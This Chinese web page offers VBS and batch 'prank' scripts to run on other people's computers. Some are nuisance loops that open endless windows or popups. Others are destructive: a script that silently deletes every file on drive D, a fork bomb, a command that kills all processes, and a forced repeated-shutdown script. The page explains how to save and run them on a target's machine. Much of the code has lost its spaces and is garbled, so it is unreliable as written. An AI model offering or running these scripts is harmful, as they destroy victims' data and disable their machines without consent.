整人vbs代码 三十二个vbs整蛊代码

大家好。我是白云。

给大家整理一些恶搞代码。谨慎使用！小心没朋友。

1. 电脑死机

打开无数个计算器。直到死机

setwsh=createobject("wscript.shell")dowsh.run"calc' loop

无限次数轰炸

吵架神器。直接让对手无话可说【建文本格式。修改后缀名为vbs直接使用】

SetWshShell=WScript.CreateObject("WScript.Shell") WshShell.appActivate"7"fori=1to99WScript.Sleep99WshShell.SendKeys"^v"WshShell.SendKeysi WshShell.SendKeys"%s"Next

删除D:\所有文件

dimWSHshellsetWSHshell=wscript.createobject("wscript.shell") WSHshell.run"cmd/c"deld:\*.*/f/q/s""",0,true

不断按下alt+f4 (开什么 都关闭… ）

dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")while(1) WSHshell.SendKeys”%{F4}”loop

电脑直接蓝屏

保存为Bat。 运行(一些杀毒软件会报告为木马)

taskkill/f/fi"pidne1"

光驱无限弹出

保存成VBS。运行。你的光驱就会无限弹出(没有光驱的电脑不行哦)

setwmp=createobject("wmplayer.ocx")setcd=wmp.cdromcollection.item(0)docd.eject loop

无限弹窗

文本格式输入。修改后缀名为bat直接运行

:startstartcmdgotostart

电脑报数

将他复制粘贴在记事本中。然后保存成VBS代码运行后电脑就会从0开始报数…

SetS=Create0bject("sapi.spvoice")i=0doS.speakii=i+1loop

电脑死机2

没错,就这么多。还是保存成bat文件。运行。然后电脑就会死机(这个代码就是自己运行自己。然后电脑内存就被消耗尽了)

%0|%0

无限曾加分盘

在记事本复制粘贴。保存成bat文件。运行。之后…

@echoofffor%%iin(abcdefghijklmn)

没错。你会出现N个本地磁盘。但是不要慌。这个对电脑没有实际伤害。

让对方重启指定次数

@echooff ifnotexistc:1.txtecho.>c:1.txt&gotoerr1 ifnotexistc:2.txtecho.>c:2.txt&gotoerr1 ifnotexistc:3.txtecho.>c:3.txt&gotoerr1s ifnotexistc:4.txtecho.>c:4.txt&gotoerr1 ifnotexistc:5.txtecho.>c:5.txt&gotoerr1 gotoerr2:err1 shutdown-s-t0:err2

上面可以让对方电脑重启5次后不在重启。当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次改成7就是7次…

打开“开始→程序→附件→记事本”。把代码部分复制进去。点“另存为”。路径选“你想要放的地方”。保存类型为“所有文件”。文件名为“你想要的名字.bat”。你的批量处理器就完成了。

让人崩溃的关机程序

WScript.Echo("嘿。谢谢你打开我哦。我等你很久拉！"&TSName)WScript.Echo("你是可爱的XX童鞋吗?")WScript.Echo("哈,我想你拉。这你都不知道吗？")WScript.Echo("怎么才来。说~是不是不关心我")WScript.Echo("哼,我生气拉。等你这么久。心都凉啦。")WScript.Echo("夜黑很生气。后果很严重哦。")WScript.Echo("嘿嘿！你也会很惨滴哦")WScript.Echo("是不是想清除我？")WScript.Echo("那你要点上50下哦。不过会给你惊喜滴")WScript.Echo("还剩49下。快点点哦")WScript.Echo("还剩48下。快点。小笨蛋！")WScript.Echo("还剩47下对。就这样快点点！")WScript.Echo("还剩46下。你啊就是笨。要快哦。我先不打扰你工作。")WScript.Echo("还剩45下。记得要快哦！")WScript.Echo("还剩43下")WScript.Echo("还剩42下")WScript.Echo("还剩41下")WScript.Echo("还剩40下")WScript.Echo("还剩39下")WScript.Echo("还剩38下")WScript.Echo("还剩37下")WScript.Echo("还剩36下")WScript.Echo("还剩35下")WScript.Echo("还剩34下")WScript.Echo("还剩33下")WScript.Echo("还剩32下")WScript.Echo("还剩30下")WScript.Echo("还剩29下")WScript.Echo("还剩28下")WScript.Echo("还剩27下")WScript.Echo("还剩26下")WScript.Echo("还剩25下")WScript.Echo("还剩24下")WScript.Echo("还剩23下")WScript.Echo("还剩22下")WScript.Echo("还剩21下")WScript.Echo("还剩20下")WScript.Echo("还剩19下")WScript.Echo("还剩18下")WScript.Echo("还剩17下")WScript.Echo("还剩16下")WScript.Echo("还剩15下")WScript.Echo("还剩14下")WScript.Echo("还剩13下停停！！！慢点。我有话要说")WScript.Echo("还剩12下。你继续点我就会消失滴")WScript.Echo("还剩11下。以后就看不到我拉。呜呜~555555")WScript.Echo("还剩10下。你现在可以选择停止！")WScript.Echo("还剩9下。你还点啊。不要我拉？")WScript.Echo("还剩8下。有点伤心拉。干嘛丢弃人家")WScript.Echo("还剩7下。疯了。你有点负意！")WScript.Echo("还剩6下。对。你就点吧。我恨你！")WScript.Echo("还剩5下。不明白。删除我你就好吗？")WScript.Echo("还剩4下！真要删除我？")WScript.Echo("还剩3下。可是我真的很眷恋你。。。")WScript.Echo("还剩2下。不要这么绝情嘛。人家是爱你的！")WScript.Echo("还剩1下。哼。既然你这么绝情。也别怪我无义！！！")WScript.Echo("我本因该消失的。不过我留恋你滴芳容。万能的上帝又给了一次机会。")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")

把这个复制在记事本,把后缀修改成.vbs在打开呢就会先说第一句的 嘿。谢谢你打开我哦。我等你很久拉！他无论是点关闭或者是点确定都会再说第2句再点就说地3句 会按顺序说完。

你们注意哦。最后10句话。只是10句。你要是把这个复制再粘贴N次。那他还有个打完呢？这样才做到整人了。要是给喜欢的人发去啊。那就写你要说的话吧。双引号里面的可以随便更改。

您还感兴趣的文章推荐

• 十大帅哥明星排行榜 全球颜值排名前十男2021
• 好用的睫毛膏十大排行榜10强 大家用过最好用的睫毛膏
• 最帅的人是谁 第一名 2020全球最帅100人完整排行榜
• 全球最帅的男人排行榜 盘点历届全球最性感男人今昔对比照
• 搞笑韩剧排行榜前十名 浪漫搞笑爱情喜剧韩剧

以上就是由互联网推广工程师 桔子生活网 整理编辑的，如果觉得有帮助欢迎收藏转发~